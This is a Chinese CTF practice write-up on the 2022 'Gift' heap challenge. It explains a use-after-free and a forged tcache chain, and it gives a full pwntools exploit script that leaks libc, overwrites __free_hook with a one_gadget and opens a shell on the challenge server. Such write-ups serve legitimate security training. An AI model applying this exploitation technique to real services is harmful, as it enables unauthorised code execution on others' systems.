Practice: 一些平常联系的记录,不能摆烂了(x
巅峰极客2022Gift libc2.27,很好的一道题(我不会
首先在remove_gift()中存在uaf漏洞
限制了add的次数是10次,常规的打法并不足够分配,这时我们注意到在另外一个bargain函数中可以控制堆块的fd,于是思路就很清晰了,通过控制fd,伪造出一条tcache的链子
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *p = remote("node4.anna.nssctf.cn" , "28810" ) menu = "your choice:\n" def ChoiceGift (ch, payload ): p.recvuntil(menu) p.sendline(str (2 ).encode()) p.recvuntil(menu) p.sendline(str (ch).encode()) p.recvuntil("plz write your wish on your gift!" ) p.send(payload) def RemoveGift (idx ): p.recvuntil(menu) p.sendline(str (3 ).encode()) p.recvuntil("index?" ) p.sendline(str (idx)) def CheckGift (idx ): p.recvuntil(menu) p.sendline(str (4 ).encode()) p.recvuntil("index?" ) p.sendline(str (idx).encode()) def bargain (idx, money ): p.recvuntil(menu) p.sendline(str (5 ).encode()) p.recvuntil("index?" ) p.sendline(str (idx).encode()) p.recvuntil("much?" ) p.sendline(str (money).encode()) ChoiceGift(1 , "aaaaaaaa" ) ChoiceGift(1 , "aaaaaaaa" ) RemoveGift(0 ) RemoveGift(1 ) CheckGift(1 ) p.recvuntil("cost: " ) heap = int (p.recvline()) - 0x260 ChoiceGift(1 , b"\x00" *0x10 +p64(heap+0x400 )+b"\x00" *0x68 +p64(heap+0x410 )) ChoiceGift(1 , p64(heap+0x390 )) RemoveGift(0 ) RemoveGift(1 ) bargain(1 , -0x10 ) ChoiceGift(1 , "aaaaaaaa" ) ChoiceGift(1 , "bbbbbbbb" ) ChoiceGift(1 , "cccccccc" ) RemoveGift(0 ) CheckGift(0 ) p.recvuntil("cost: " ) libc_base = int (p.recvline()) - 0x3ebca0 print (hex (libc_base))ChoiceGift(1 ,p64(libc_base + 0x3ed8d8 )) ChoiceGift(1 , "\n" ) ChoiceGift(1 ,p64(libc_base + 0x4f302 )) RemoveGift(1 ) p.interactive()
调试 前面的泄露函数基地址较为简单,主要是后面伪造tcache链的情况比较复杂
我们能修改的是某一个chunk的fd,并且在tcache中是以fd进行连接的,所以我们可以对tcache链进行伪造,比如
我们利用bargain函数修改fdA,就可以完成
1 tcachge -> fdHacked -> fdC ->fdD -> fdF ->fdG -> fdH
这样子就可以完成了,并且我们往tcache里面分配了这么多chunk,拿出两个以上就会使得tcache的idx变成负数,这样子就会把chunk放到unsortedbin里面了,这样子就可以获取libc基地址了,下面我们算一下我们要伪造几个chunk
首先,肯定需要三个以上,于是我们先拿出三个
1 tcachge -> fdF ->fdG -> fdH
这时候我们再remove一个已经分配的chunk,这样子的话就可以在unsortedbin里面获得libc
接着我们再申请fdF,tcache里面剩下的是
如果使得申请fdF写入的地方和fdG是一块地方,就可以接着申请到我们写入的内容,这样子的话我们就可以把在fdH的地方任意写
综上,我们需要伪造一个 {fdHacked -> fdC ->fdD -> fdF ->fdG 的结构
正常的结构如下
所以我们通过+0x10,形成 370 -> 270 -> 390 -> 400 -> 410
最终申请400堆块,通过edit,在0x410的位置写入 __ free_hook - 0x10, 再申请0x410位置的chunk,之后再申请就可以修改 __free_hook了。